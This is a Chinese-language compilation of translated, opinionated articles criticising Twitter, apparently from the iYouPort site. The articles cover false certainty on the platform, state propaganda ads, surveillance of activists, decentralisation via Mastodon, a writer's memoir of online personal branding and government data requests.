【注】语义学中讨论指称(reference) ，包含有指(referential)和无指(non-referential)两个概念，指称可简单解释为某个词所代表的真实世界的存在，如果某词能指称现实中的某个存在，即为有指(referential)，反之为无指。例如: 美国总统(是有指)、超人(是无指，因为现实世界上没有这个人) 。

在此之上有定指(definite) 和不定指(indefinite)的概念。一般来说，如果说话人认为听话人知道这个名词短语的具体所指，该词语即为定指，反之则为不定指。例如 “这本书是我买的” 中这本书就是定指，“你应该帮他请个家教” 中的家教就是不定指。

而在社交媒体中，这是一个非常值得思考的问题。

推特是一个以确定性为基础的游戏，在这里，细微的差别会消亡。带有绝对主义声明的推文往往能得到最多的转发，不管它们与现实的关

系有多松散。

由于转发是推特游戏的积分 —— 用于覆盖面、影响力和盈利潜力 (粉丝经济)—— 于是人们倾向于在该平台上尽可能地明确，即使在事实最不确定的情况下！

由于*推特鼓励*人们迅速表明立场，并与部落/圈子的队形保持一致，它鼓励人们分享具有明确框架的新闻，甚至在事件结束之前就虚构出一个框架，并用确定性的的语言去描述它。

而且，这一点也延伸到了新闻之外，也延伸到了人的身上。推特用户经常以绝对主义的方式相互评判，仅仅根据一条推文、一条线程或一段视频，就将原本多维度的人类提炼成平面漫画。

无论对某人的性格或意图判断错误的代价有多大，如果一个人要想在推特口水战中获胜，就必须对这一切表现出绝对的把握。

推特的确定性问题有时会很有趣，比如当该平台每日的2亿活跃用户中的相当一部分成为当天话题的所谓“专家”时。虽然确定性本身也不坏，但是，该平台普遍存在的虚假保证损害了我们所有人对周围世界的理解，也损害了我们彼此之间的理解。最终，这是一个设计问题。一个需要修正的问题。

推特上最容易放大虚假和错误信息的功能当然是它的趋势栏，内特·西尔弗最近称之为“白痴的蝙蝠信号”。【蝙蝠信号是DC Comics出版的美国漫画书中出现的求救信号设备，用于召唤超级英雄蝙蝠侠。】

更加好听点的描述是，**Twitter** 的趋势是吸引人们对热门话题发表意见的诱饵。趋势本身可能是无害的，但是，很多时候，它们只是邀请你根据几条推文、甚至仅仅一条推文，就对一个人形成明确的意见，不管这个人是多么晦涩难懂。因此，您得到了“豆爸”、“虾仔”以及一群为了娱乐而扰乱或破坏现实生活的人物。

有些人希望 Twitter 能够完全消除那个趋势，但这很难想象。推特是关于“了解当下的事”，所以趋势很重要。但是，要求进行一些监督是否太过分了？也许推特的编辑团队可以问一下一个普通人是否值得被放在趋势中，如果不值得就把他们删除。为什么要让他们承受堆积如山的压力？为什么要鼓励人们为了所谓的参与(只是为监视资本家积累流量利润)而诋毁他们以前从未见过的其他人的言语行为？

当涉及到新闻时，确定性问题就更加复杂了。很多时候，在明显存在

大量灰色地带时，新闻机构却过于自信地认为他们“就是知道”。例如，想想最初对 Covid 的反应不足（被称为是流感）。

新闻媒体追求快节奏的结果就是变成胡说八道的地摊文学，这种现象近年来已经被高度重视，由此催生了慢新闻运动在全球的推行，在这里看—包含优质新闻源列表《该死的快讯》

然而，Twitter 可以放慢其平台的速度，使新闻分享更有思想性。它已经开始这样做了，部分是通过询问用户是否愿意在转发前阅读一篇报道，它说此举导致了40%的链接点击率和较少的转发量。一名Twitter员工最近暗示，更多此类性质的变化正在进行中。现在是时候测试它们，并在成功的地方推出它们了。

人类在看待彼此—— 以及他们周围的世界—— 时自然会有细微的差别。在现实生活中，我们学会了欣赏复杂性，学会了质疑非黑即白；而在网上，由于规模的扩大，某些复杂性将不可避免地消失。但这并不意味着您应该满足于生活在一个以虚假的确定性为准则的世界中。○

Twitter’s Certainty Problem

原文

我是活动家 ⚠ Twitter 让我的生命处于危险之中 - iYouPort

关于亚马逊、苹果、推特

秘密警察半夜闯入我的家，而我5岁的儿子正在睡觉。我可能已经消失得无影无踪—如果不是一个勇敢的证人冒着风险在推特发布了事件的细节……但那只是当年。

而现在，我已经删除了推特账户。因为它已经把异议人士置于危险之境地。我有超过 295,000 名粉丝，我正在与他们断绝关系。⚠压制性政府使用这些集中化平台作为大规模监视的武器，操纵对话并推动他们自己的故事版本。异议人士被直接或间接地威胁、骚扰或逮捕和监禁。

⚠ 活动人士开始了解到国家安全局正在建立针对更多 Twitter 用户的跟踪抓捕。他们中的许多人开始删除推文档案。但危险并没有因此而停止，因为即使删除推文后，Twitter 的网站也没有提及是否从后台删除了相同的内容，或者删除的推文是否仍然可供开发人员访问。

⚠Twitter 曾经是改变话语权的工具，为无声者提供发声机会并推动社会正义，而现在它正成为一个陷阱—政权用它来监控镇压异议人士。推特也被用于比以往更大规模的假消息、网络水军和政治宣传平台。“我恳请技术制造商建立去中心化的社交媒体平台，这些平台不存储和销售我们的信息……”#🔐 推荐去中心化平台 Twitter 的替代品：Mastodon， IYP在这里：https://cmx.im/@iyouport

- 《在无可言说之中言说中国》
- 关联：这些集中化的恶魔从来都是监控机器，详见《互联网究竟是什么？—— 来自“监视谷”惊人的启示》
- 关联：《数字威权主义的兴起：灾难之畔》

“I’m a Saudi activist. Twitter put my life in danger.” Repressive governments use these platforms as weapons of #masssurveillance, manipulate the dialogue and push their own version of the story

原文

推特仍在帮助中国政府推动虚假消息的传播 - iYouPort

关于亚马逊、苹果、推特

摆脱依附强权的思考方式并不是很容易 ；尤其是对于那些长期在强权阴影下生活的人来说。但如果你想要获得自由，就必须对权势本身 – 而不仅仅是“本土权势” – 保持足够的警惕

「图」

「图」

反监视资本主义的倡导者总是指出 FATTBAG（Facebook Amazon Tencent Twitter Baidu Alibaba Google）而不是“中国还是美国” —— 因为这些寡头没有任何区别。

而我们在中国听到的故事总是呈现 “Twitter/Facebook/Google 有多么自由”。当然这其中透露着很多委屈。

但我们必须说，如果您真的想要获得自由，就有必要认识到强权的本性；认识到对于奴隶来说，换一个主人并不能改变被奴役的命运。

有读者留言询问，“对 Twitter 封锁中国虚假消息宣传账户这件事怎么看”。事实上这件事非常简单，但不是这件事本身看起来的那样，而是人们应该认识到整体所呈现的样子。

首先看背景，然后看细节，尤其是被大多数人所忽略的细节。

抛开一些荒谬和无知的建议，许多人似乎一直在（不正确地）相信各种互联网公司拒绝压制任何东西，因为这“违背了他们的利益”。

你可以从一些美国政客那里听到了这一点 —— 特别是那些寻求改变《通讯规范》法案230条款的人，他们（再一次，错误地）认为，因为第230条，某种程度上没有动机来缓和平台上的内容。

这在多个级别上都是错误的。

对于寡头来说，在这些平台上缓和内容存在巨大的商业、政治、道德和社会压力。如果他们弄错了，就会受到批评。他们可能会失去用户。

而且（重要的是）他们可能会失去广告商、合作伙伴、客户和投资者。而230条允许他们进行相应的实验和调节。

这就是为什么 Twitter 和 Facebook 都大张旗鼓地宣布封锁了似乎是滥用两个平台以推动针对香港抗议者的虚假信息的协同企图。

简单说，这些寡头公司本身有动力这样做，或者有动力不去做，而不是为了香港或者人权。真的不是。

尽管人们普遍认为两家公司都在努力发现并阻止这些宣传 —— 尤其是中文用户尤其这样认为。

当然从来没有完美，因为大规模的内容审核不可能做得好。误报和漏报的错误都是不可避免的。

但是，如果有人认为修改第230条会让公司在这方面做得更好，那么他们就真的错了。

接下来请注意细节。

Twitter 仍然允许攻击香港抗议者的用户购买其公告推送服务。

由中国政府喉舌新华社制作的有争议的广告正在 Twitter 上运行，公开攻击抗议引渡法案的公民。

Twitter 早些时候已经被指责让其平台被用来影响世界各地的选举，现在正处于新风暴的中心 —— 就在中文用户感激 Twitter 的同时。

这不奇怪，所有寡头都在这么做，不同的只是有些寡头可以做得非常隐秘，不为人知。请参阅这一深度报告《看不见的独裁》。

Twitter 上的煽动性广告表明香港的抗议活动是“暴力升级”。此外，广告要求“恢复秩序”。广告还强调对中国“祖国”的支持，并试图引导其受众关注香港的经济困境。

该社交媒体巨头尚未就此事发表评论，但其他平台如 Pinboard 已正

式指责Twitter 支持中国当局。

Twitter 现在面临着两难的局面，可能需要明确立场 —— 要么继续运营这些广告以支持中国政府，要么失去其声誉。

如果它继续推广这些广告将具有讽刺意味，因为该社交媒体巨头在中国实际上被禁止，并且一直被中国国营的新浪微博取代。

早些时候，Twitter 也被广泛地指责无视仇恨言论和政治宣传，现在，它被指责推动实际的政治宣传。

自有争议的引渡法案宣布以来，香港在过去三个月中一直在进行抗议活动。抗议者一直在要求政府推翻该法案。

但以上并不是全部 。关于 **Twitter** 和中国的关系，不仅仅基于香港抗议活动，还包括对维族穆斯林人口的人权侵犯。

Intercept 报道：公司的广告记录审查显示，**Twitter** 促进了中国政府对新疆地区有争议的拘留营的政治宣传和虚假信息。

在新疆这个中国西部省份，联合国估计有100万维吾尔族穆斯林人口—包括儿童、孕妇、老人和残疾人 —— 被当局以“打击极端主义”为借口拘留。

今年6月至8月期间对 Twitter 广告的审查显示，这家社交媒体巨头推动了来自中国官方媒体机构环球时报的50多条英文推文。

其中一些推文故意掩盖了新疆局势的真相，并抨击了该国的政治批评者。

环球时报支付推特广告费，向社交媒体平台上超过**3**亿活跃用户中的一部分推广其推文。

这些推文出现在用户的时间线上，无论他们是否关注了环球时报帐户，都能看到。

7月，就在全球谴责政府当局对新疆维吾尔族人口待遇的情况下，Twitter开 始推广多篇中国环球时报关于新疆地区的推文。

其中一则来自7月11日起被推广的推文，包括一个嵌入式视频，内容中环球时报的总编辑声称，将新疆设施称为“大规模拘留营”的人“是在抹黑，职业教育和培训中心”旨在帮助人们避免极端主义。”

他继续攻击“欧洲政客和媒体工作者”，并声称“他们曾试图捍卫新疆的恐怖活动”，还补充道，“他们的手被在暴徒袭击中死亡的中国人民的鲜血染红了。 ”

7月4日的另一条推文中包含了据称在新疆拍摄的视频，其中显示人们可以在街上购物，在餐馆吃饭，欣赏钢琴音乐……

该视频描述了2009年发生在新疆首都乌鲁木齐的骚乱，并指出那里的居民“现在过着幸福安宁的生活”，因为他们共同努力打击恐怖主义和极端主义。视频中完全没有提到大规模拘留营。

Twitter 协助宣传的其他中国环球时报广告都遵循类似的主题，将该地区描述为一个幸福和平的地方，“没有发生”任何侵犯人权的行为。

一则推文还包括一名老妇人的视频，描述她收到政府官员提供的一揽子医疗用品，然后在欢乐中感激涕零。

该推文称该地区的贫困状况已得到缓解，因为当地居民可以“获得高质量的医疗保健和负担得起的药品”。

大赦国际（Amnesty International）中国研究员帕特里克潘（Patrick Poon）表示，他发现推特宣传这些广告“令人震惊”。

“这是 Twitter 需要解决的一个非常重要的严重问题，” Poon 说。“Twitter 正在帮助推广虚假信息和政府宣传。允许这样的广告设置了令人震惊的先例。 ”

周一，Twitter表示将不再接受来自国家控制的媒体的广告。你信吗？

Twitter 推动中国政府宣传似乎与其自身的政策相矛盾，后者声称平台上的广告必须“诚实”。

这些广告还破坏了 Twitter 首席执行官杰克·多尔西自己的声明，他去年告诉参议院情报委员会，该公司正在努力打击“通过机器人和人类协调制作的错误信息宣传”。

像许多西方科技公司一样，Twitter 与中国有着复杂的关系。Twitter 在该国被封锁，如果不使用审查规避技术（例如 VPN 或代理服务），则无法访问该社交媒体平台。

然而，与此同时，**Twitter** 在中国产生了大量的广告收入，并在该国的业务持续增长。

据报道，去年7月，推特在中国的董事表示，该公司在中国的团队人数于去年增加了两倍，成为该公司发展最快的部门。

今年5月，这家社交媒体巨头在北京举办了“推特营销人员”会议。

与此同时，大赦研究员 Poon 表示，近几个月来，中国警方越来越多地针对在 Twitter 上活跃的中国人权倡导者，迫使他们删除他们的帐户或删除批评政府的特定帖子。

据说这些案件已经向 Twitter 报道，但该公司尚未采取任何行动。

“推特允许中国政府宣传其谎言，同时对那些遭受中国政权迫害的人充耳不闻。我们很想了解 Twitter 如何解释这个问题”， Poon 说。

总之，对强权保持持续的高度警惕，是作为一名公民的最基本意识。○

原文

推特可以去中心化吗？ - iYouPort

关于亚马逊、苹果、推特

不能出卖用户的情况下这些寡头出卖什么才能维持高额盈利？

「图」

「图」

Jack Dorsey 的计划雄心勃勃，但细节不足。

去年底，Jack Dorsey 宣布了 Bluesky，该项目旨在为 Twitter 和社交媒体格局开发开放的和去中心化的标准。

当前，社交媒体用户只能与同一平台内的其他成员进行交互。Dorsey 建议，他的新标准将使交流能够跨社交网络进行，类似于电子邮件的工作原理。

不过，除此之外，Dorsey 并未确切说明这意味着什么。

如果 Twitter 真的想去中心化，它可以利用现有的生态系统。去中心化社交媒体的一系列服务已经集成在 Fediverse 中，这是可互操作的社交网络的集合，这些社交网络使用开放的标准和协议相互对话。

但是 Dorsey 希望花费数年时间开发新标准，而不是与当前解决方案集成。有充分的理由对此表示怀疑。

Twitter 当前提供了一个集中式平台，该平台可通过对其用户进行有针对性的监视来获利。相比之下，分散式社交网络旨在最大程度上减少数据收集，减少广告投放，并使社交网络的所有权和控制民主化。

Mastodon 社交网络拥有超过200万的用户，可一窥其工作原理。它与 Twitter 非常相似，不同之处在于用户可以在服务器上托管自己的小型社交网络（称为“实例”），可以与其他 Mastodon 实例上的用户进行对话。

创建实例的人将设置自己的行为准则。例如，一个人可以创建一个专门用于幼犬的 Mastodon 实例；另一个实例可能更通用，但禁止仇恨言论和暴力。用户可以在其他情况下与其他人交谈，但是如果他们违反了规则，那么版主可以阻止他们或将他们踢出去。

Mastodon 不仅赋予社区对自己空间的控制权。它还提供了宝贵的隐私选项。实例可以设为私有，并且用户可以注册而无需透露真实姓名或将其帐户链接到个人身份信息。

服务器管理员可以在网络上看到用户的通信，因此对管理员的信任对用户至关重要。也没有针对性或其他方式的广告。

由于 Mastodon 是分散式的，因此没有中央控制的实例，并且可以与 Fediverse 上的其他社交网络和网站进行互操作：Mastodon 和 Pleroma 用于社交网络，PeerTube 用于视频共享，PixelFed 用于图像共享（类似于 Instagram）。

因此，用户可以发布视频之类的内容，并在网站和服务之间进行交互，而不必分别登录每个服务。

相比之下，Facebook 和 Twitter 之类的大型社交网络旨在将用户锁定在自己的公司范围内（因为用户是监视资本家的资产）。这些公司选择不允许其用户与其他网络的成员对话。

相比之下，分散式服务旨在将社交媒体世界打造成社区拥有和控制的网络的分散格局。它们依靠开放协议（用于传输数据的一组规则和过程）来促进跨服务的交互。

ActivityPub 是去中心化社交网络的一种流行协议，而诸如 Matrix 之类的其他协议则用于聊天室和聊天应用程序。

这就是 Twitter 的公告变得有趣的地方。

去中心化社交媒体提供了数千个互联网络，旨在提供无广告、尊重隐私的体验。如果用户发现网络正在滥用其数据，则可以转移到另一服务。

而寡头公司的社交媒体服务可以随意监视用户，因为每个人的朋友都被锁定在他们的集中化网络中。

- 《集中化毁掉互联网自由》

很难想象 Dorsey 对 “去中心化 Twitter” 的设想。真正去中心化 Twitter 的本质会削弱该公司的基本商业模式。

他简要提到了与 ActivityPub 集成的可能性，但没有说明他是否会像在该网络上的其他活动一样停止投放广告并停止通过用户数据获利。

- 《如何才能挑战 Facebook 并取得胜利？》

去中心化社交网络可以追溯到 Diaspora。 Diaspora 由四个纽约大学的学生于2010年创立，其灵感来自哥伦比亚大学法学教授 Eben Moglen 的演讲，他提议创建一个称为 “freedom box” 的个人云服务器，以帮助互联网分散化。

此后不久启动了 FreedomBox 项目。至关重要的是，它为社交网络、电子邮件、聊天应用程序、和日历等分散服务提供了基础架构。

用户可以通过可信途径将数据发送给朋友。这样就消除了诸如 Facebook 或 Twitter 之类的监视中介，否则它们始终在人们使用其平台时监视每个人。

Diaspora 最初引起了轰动，但最终失去了动力。在随后的几年中，其他技术人员承担了任务，而 Mastodon 是迄今为止最大的成功案例。

目前，这些项目主要托管在社区控制的服务器上，而不是 Moglen 设想的个人云设备。但是，FreedomBox 正在进行 Fediverse 集成，FreedomBone 等类似软件为 PeerTube 和 Friendica 等服务提供了应用程序。

Twitter 可以与 Fediverse 融合，也可以研究比现有解决方案更加分散和注重隐私的方法。但是显然不太可能，因为这样做会破坏其基本商业模式。

Dorsey 的真正动机可能是通过自我监管来抵制政府监管行动。例如，立法者正在考虑修订《通信规范法》第230条，该条限制了用户发布的有害内容的中介责任。将内容审核置于最终用户、小型社区和推荐算法手中的新标准可以减轻 Twitter 对诽谤、仇恨言论和耸人听闻的内容的责任。

也可能是 Dorsey 希望在社会对社交媒体监视和操纵的不满情绪日益浓厚的时候推出 “激进的新解决方案”。

对于人权倡导者而言，分散化社交网络是一个崇高的目标，但由于

Facebook 和 Twitter 等平台的根深蒂固的主导地位，很难扩大规模。Twitter 似乎不太可能在没有被政府强迫的情况下做出这一改变。

社交网络巨头能否在基于成千上万个可互操作网络的去中心化生态系统中创造丰厚利润？

当 Twitter 和所有监视资本主义寡头一样收入来源是监视、操纵和广告时，如何才能信任 Twitter？

如果 Dorsey 希望他的建议得到认真对待，他需要开始回答这些问题。○

Can Twitter Ever Be Decentralized?

原文

推特曾经给我力量，但现在给我的是绝望 - iYouPort

关于亚马逊、苹果、推特

社会攀爬需要知名度，社交媒体只允许娱乐化的出洋相和口水战获得知名度。人们开始变得疯狂；但是否有人想过，当你逐渐成熟直到不再依赖他人的点评和关注以维持自我荣耀感的时候，你曾经出过的那些洋相会变成什么？

「图」

「图」

从2015年10月到现在，我在互联网上有大约168种不同的生活 —— 每一种都只是为了迎合观众的趣味。

将你是谁的本质转化为易于消化的产品，这是一种奇怪的生活方式，特别是当你是一个年轻的成年人时，你的自我感觉会不断变化。

我并不是为了谋生而兜售自己的个性，但在社交媒体时代，个人品牌占据了至高无上的地位。

对于像我这样的年轻作家来说，自我商品化是一种必然的结果 —— 非常在线，能够向大量观众承认自己最疯狂的冲动，并由此寻求肯定和爱。

将我的内心感受包装成我的个人品牌，对我来说是一种生活方式。

我越是把自己的生活视为被别人消费的东西、兜售自己所有的痛苦和快乐以及产生的各种怨恨和恐惧，我的发布就越接近强迫性。

我的上网方式一直都在改变，每当我厌倦一种方式后我就会换一种方式并变得更加熟练。

回到2015年10月，那是永远改变我的生活的起点 —— 那时，我发布

了第一个病毒式传播的推文。

那是我大学毕业的前一年，虽然我知道我想以写作为生，但我不确定如何实现这一目标。

经过一年漫无目的的漂流，我在酒吧遇到了一位朋友，他在一家小型网络出版物担任编辑。当时我在一家咖啡店做兼职工作，同时开始自由撰写个人随笔和一些愚蠢的博客文章。

我时不时地发一条平凡的观察帖子或一篇文章的链接，但没有足够的粉丝可以深入了解我的内容。

在我22岁生日后的几天，我发布了与 Martin Shkreli 的Tinder对话截图，Martin Shkreli 是制药业的超级恶棍，当时他刚刚成为头条新闻，因为他的公司大幅提高了艾滋病患者用来挽救生命的药品的价格——从13.50美元涨到了750美元。

我从未见过 Shkreli，也并非对他做的事很感兴趣—至少不是在约会应用程序的背景下；但他对我有利，他是“名人”能帮我火起来。于是我向他询问有关一夜之间变成全国恶棍的感受，以及他如何证明他的残酷资本主义是正当的。

帖子发布后社交媒体的通知开始不断涌入，我躺在床上，笔记本电脑放在我的肚子上，半瘫痪状态，手指机械地刷新着我的推特信息，那些看似无限的点赞、转发、回复和新关注者的涌入令人沉迷。

我很高兴每个人都在看着我，这让我感觉自己很强大。我引起了人们的注意，事实证明，这种感觉就是我想要的。

快进到2016年：我每天都在 Twitter 上花费无数个小时，所以我感到孤独和沮丧并不奇怪。

我正在把几乎一切都发成推文，我因为社交媒体冲动而获得了丰厚的回报：我的追随者计数已经达到10,000，并且它仍在不断变大。

对我而言，这意味着我很特别，我正在做“正确的事”。

我成功地利用了从我的第一条病毒式推文中获得的互联网知名度来实现我的职业抱负 —— 我是自由撰稿人，不论是谁拥有我和我的推特品牌都是我喧嚣的关键。

我约会那些一次性的约会对象，然后通过 Cosmopolitan 和纽约杂志

这样的出版物泄露我灾难性的爱情生活的诸多细节，以此获得报酬。

我觉得自己是一个合法的作家，我正在陶醉其中，但我感到空虚。

即使我已经开始对社交媒体强迫症给我带来的负担感到恐慌，但我继续发推文，不断地发推文。

我之所以这样做，是因为我告诉自己，如果不能持续发推文我就无法在我写作的地方继续谋生。

我必须让人们在推特上看到我。保持知名度。

这不像是我的第一条病毒式推文带来的那种快感，它已经像是一种负担。我不想承认，我很害怕。

到2017年3月时，我开始为VICE开设一个新的工作，覆盖政治内容。

如果没有我的 Twitter 活跃，我不认为我会能得到这份工作；毕竟，我现在有40,000名粉丝，那些都是点击我的文章的人，这对商业媒体来说具有极大的好处。

钱，盈利，知名度，这才是让我成为这个时代宝贵资产的原因。

当我从吐槽个人的困境转向不加思索地吐槽我们当前政治地狱的完全不成型的想法时，我的追随者继续激增。

随着2018年全面展开，我的生活开始整顿，我不能再忽视个人品牌的裂缝了。

我有一份全职工作，我和一个了不起的男人有着长期的关系，他的爱和陪伴以成千上万陌生人肯定永远做不到的方式滋养着我。

我讨厌Twitter。我有79,000名粉丝，我仍然讨厌它。虽然我经常使用它。

我的时间线是一股无限的消极情绪，可怕的新闻，每个人都在互相吼叫，也许我只是变老了，但突然间我对所有的网络愤怒感到厌倦。

每天的在线感觉就像 Gamergate。互联网比以往任何时候都更加愤怒，更加野蛮，而且像我以前那样松散地使用Twitter已经不再安全。

这是多年来第一次，我向世界宣传自己的冲动、我所有失败的思想和

感情的冲动，都已经消失了。

并且，我很担心一个无形的Twitter怪兽会因为我多年来公开分享了所有疯狂私密的内心活动而惩罚我，我曾经公开的所有最卑鄙和最无情的时刻都会反过头来咬住我。

我不知道自己是谁，我对自己向陌生人残忍地歪曲自我的无限方式感到羞耻。

我摇摆不定，不知道是该消失还是继续。

我厌倦了自我仇恨，并试图把我过去的网络愚蠢从脑海中抹去。

我的个人品牌曾经让我感觉很强大，然而当我变得成熟时，成长为一个不再依靠他人的评价才能生活的人时，我最终感觉到自己是过去自我的牺牲品。

我在社交媒体和其他出版物上曾经写过的所有东西如今都困扰着我。

我担心为时已晚，我已经让自己成为了一个夸张的角色，这就是故事的结局。我想要离开这种状态。

随着夏天渐渐褪色，我仍然不确定自己是谁以及我甚至想成为谁；但不知何故，我正在爬出那个自己给自己挖的坑。

我逐条阅读自己的旧推文，删除了数百条令我感觉羞愧和后悔的内容。

在这个艰难的过程开始时，我陷入了自我厌恶的境地，但最终我对所有过去的愚蠢行为都感觉麻木了，甚至开始对我经历过的进化沾沾自喜。

我还没有完全退出Twitter，推特仍然感觉像一个隐含的工作需求。但这并没有阻止我改变我与社交媒体平台的关系。

虽然我在2018年1月发了1,033条推文，但我在2018年8月只发了188条推文，而这些原始数据肯定了我的情况，我真的在改变。

我为自己感到骄傲，然后我发现自己的骄傲很愚蠢，因为，真的，每月抵制超过1000次的推文真的很难吗？

我一直在思考 Flannery O’Connor 的短故事 “Everything That Rises

Must Converge”，法国哲学家德日进的引言是这样写的：

> 保持对自己的忠诚，并向更高的意识和更大的爱前进。在顶峰，你将会发现自己已经可以与所有那些从各个方向都做出同样努力的人汇聚在一起。

我想这就是生活。我的所有不同版本都在向上攀升，我迫不及待地想要看看哪一个能最先到达顶级。〇

This story appears in VICE Magazine’s "//Power and Privilege Issue//"**.**

原文

推特有毒 - iYouPort

关于亚马逊、苹果、推特

别在推特上吵架，否则你会被捕

想在推特上打嘴仗吗？前提是最好别住在英国，否则你会因此被捕。就像 Graham Linehan 经历的那样，星期天早晨被警察的砸门从被窝里拽起来。#speechfreedom 诺维奇警察局的警官告诉他，这一切是因为 Twitter 上的言论。

作为一名居住在英格兰的爱尔兰喜剧作家，Linehan 是最出名的是电视剧“ 父亲泰德”和“IT人群”的创作者。但是最近，Linehan 成了推特活动家的一员，利用这个平台来衡量英国社会和政治中充满争议并且经常有毒的争论。

辩论的核心是关于什么使某人成为男人或女人。根据英国 2004 年性别认可法案（GRA），18岁以上的人如果被诊断出性别不安并且已经花了至少两年的时间生活在他们想要的性别中，则可以根据法律正式改变性别。 他们还需要提供性别认可小组的证据，然后由性别认可小组颁发性别认可证书。许多跨性别人士说这是一个过于繁琐且昂贵的障碍。不过，这些规定可能很快就会改变，因为议会正在考虑改革 GRA。

虽然改革法律在很大程度上（但并非完全）得到了跨性别者及其盟友的支持，但支持者却面临着一些女权主义者的强烈抵制，这些女性主义者担心掠夺性男权会利用自我身份进入女性专属空间。

另一方面，跨性别者及其盟友认为，自决将可以改善跨性别者的生活。“目前，跨性别者必须忍受一个漫长而贬低的过程，以’证明’他们的性别认同，” Stonewall 是一个支持这些变化的 LGBTQ 倡导组织。

这场辩论很大程度上是在网上进行的（当然，毒性的程度也在增加），结果就是警察砸门。

与美国不同，英国拥有很强大的仇恨言论法。2003年的“通讯法”更增

加了禁止在网上传播那种会给另一个人带来“烦恼、不便或不必要的焦虑”的内容。根据法律，争论等行为或发布任何可能被视为具有远程攻击性的内容都将受到惩罚。法律执行迅速。例如，在4月，一名19岁的女子就被判“ 发送严重冒犯性的信息 ”，只因为她在 Instagram 上发布了一首说唱歌曲的歌词，以纪念一名在交通事故中丧生的13岁男子。歌词中包括n字头的那个词，她忘了编辑。

Graham Linehan 并没有发布什么诽谤的歧视性的言论，他只是和对方发生了争执，就像你知道的所有社交媒体吵架一样。

鉴于最近一年内从美国到世界各地，有很多推特用户被封锁账户，尤其是一些著名的反战活动家，他们被永久性封锁，只因他们发起了在线辩论（或者可能是争论）。Twitter 的舆论维稳已经清晰可见。不同的只有在某些国家争论很可能会招致警察上门，比如英国，而另一些国家则不会。与此同时，当权者及其外包公司指使的 trolling 和 doxing 攻击一直在泛滥，针对活动家和人权维护者，其目的就是令他们沉默。全球权利组织一直在督促推特清除这些攻击，并对推特的“行动缓慢”表达不满。

但是由于推特审查的不透明，这些要求很可能会带来不成比例的伤害。如何在保护言论自由的同时去除政府水军的滋扰，可能需要更多的技术和社会工作，而不是审查封锁能解决的问题。

- 延伸阅读：《封锁言论就能制止仇恨吗？不》

Fighting on Twitter? In the UK, You Could Be Arrested for That. “Non-crime-hate-incidents’ is a bit wordy. Might I suggest you condense it. I think ‘thought crime’ has a nice ring, don’t ya think?”

原文

推特正在开始重点审查"大V"，这意味着什么？ - iYouPort

关于亚马逊、苹果、推特

这似乎不完全是“公共利益问题”，虽然推特是这样声称的；该公司一直在因让政客们违反规则而受到批评……

「图」

「图」

Twitter 正在推出新的通知，警告属于公众人物的账号违反社区规则的推文。

现在，如果像特朗普这样的人物发布违反了 Twitter 规则的推文，该平台可以通知用户关于违规，并减少相关推文的覆盖范围。

在最近的采访中，Twitter 的高管们暗示，这样的改变即将到来。

此通知仅适用于属于政治人物、经过认证的用户、以及拥有超过**100,000**个关注者的帐户的推文。

也就是说，如果有较低关注度但整体大量的水军出没，不在此通知范围内。

如果推文被标记为违反平台规则，那么推特公司有一组人专门用来决定这是否是“公共利益问题”。

在推文通知用户违规之前会出现一个浅灰色框，点击该框的用户仍然可以看到相关推文。

理论上，这可以保留推文作为公共记录的一部分，但是不允许通过 Twitter 平台将其推广到新的受众。

「图」

「图」

“过去，我们允许某些违反我们规则的推文留在 Twitter 上，因为它们符合公众的利益，但我们不知道何时以及如何做出这些决定，”Twitter 的安全团队在一篇博文中写道。

“为公众对话提供服务包括为任何人提供谈论对他们重要的事情的能力；在与政府官员和政治人物交往时，这一点尤其重要”。

收到此通知的推文将不再出现在搜索结果中、不在热门推文时间轴上、也不在直播活动页面、推荐推送通知，或通知选项卡页面中。

媒体主要关注的是特朗普，他多次因违反 Twitter 规则而受到批评。

2017年，他在 Twitter 上发布了一张照片，上面显示自己正在与 CNN 搏斗，许多人认为这是针对媒体的暴力行为。在2018年1月，Twitter 专门致电禁止特朗普使用该服务。

该公司当时在一篇博客文章中表示，“封锁 Twitter 上的世界领导者或删除他们有争议的推文，会隐藏人们应该能够看到和加入辩论的重要信息。”

于是推特最终采取了“通知违规”的办法。而不是删除或封锁。

目前尚不清楚这种通知的使用频率会如何，Twitter 在其博客文章中写道，它预计很少会应用此通知。

简单说，这一“通知”作为标记，仅仅能显示推特声称“我知道了、我在帮助减轻影响”，此外做不到什么了。

尤其是，如果你考虑到“是否是公众利益问题”的最终判断是由高度集中且不透明的内部小组决定的，这显然有可能会是一项可疑的审查。

一方面，人们有权看到他们选举的官员的真面目，不论有多坏。而另一方面，对公众人物的标准的确应该更高。这似乎不是一个简单的问题。〇

Twitter will now hide—but not remove—harmful tweets from public figures

原文

推特隐私泄漏：美国依旧是榜首 - iYouPort

关于亚马逊、苹果、推特

Twitter 公布了今年上半年的透明度报告，称它从政府收到的信息披露请求增长了 10%，这是 2015 年以来最高的增长比例。Twitter 收到了 6904 次政府要求，涉及 16882 个账户。

在 56% 的案例中，Twitter 至少提供了一些数据。美国以 2231 次涉及 9226 个账户的请求居首，约占 Twitter 上半年收到政府请求的三分之一。日本和英国分别排在第二和第三位。总体上，包括要求删除数据的请求在内，全球政府请求增加了 80%。

大多数数据删除请求来自俄罗斯和土耳其。香港也递交了两次请求涉及 4 个账号，但 Twitter 没有满足其要求。

- 关联：《政府的压力将透明度报告从言论自由的庆典变成了审查的庆典》

请不要误会，这次的政府信息请求记录中没有中国（有香港）并不是因为中国当局不关注推特中国用户的言论，而是根本不需要向推特官方请求数据，在中国绝大多数被当局关注的账户持有者都没能做到有效的匿名，不仅当局，任何人都可以轻松查找这些用户的真实身份，而无需推特配合泄漏用户隐私。

Twitter—Information requests (government) Jan 1—Jun 30, 2018. Information requests include worldwide government and non-government legal requests twitter received for account information.

原文

纽约公民权利组织：美国公司正在向世界各地输出面部识别，并从其在国内的使用中获利 - iyouport

关于亚马逊、苹果、推特协助暴政的家伙们

美国反抗者擅长跨国联合，在这种全球性问题下，也只有跨国联合才能真正起效

一位主要的数字权利倡导者称其为 “人类历史上最大规模的企业监控扩张” —— 今年初，亚马逊已经开始在其合作伙伴的一些送货车辆中安装配备人工智能的监视摄像头，在司机工作时对其进行持续监控，此举引起了人们对隐私和寡头权力的更广泛关注。

CNBC报道称，亚马逊的人工智能驱动的四镜头摄像头，即 Driveri，已经于今年1月底进行测试。这些监视摄像头由总部位于圣地亚哥的初创公司 Netradyne 制造，在货车运行时**100%**记录一切。它们不仅能监视和记录司机，还能监视和记录道路和车辆周围发生的所有事。

许多司机、工会和隐私倡导者，都对这种侵入性技术表示震惊。

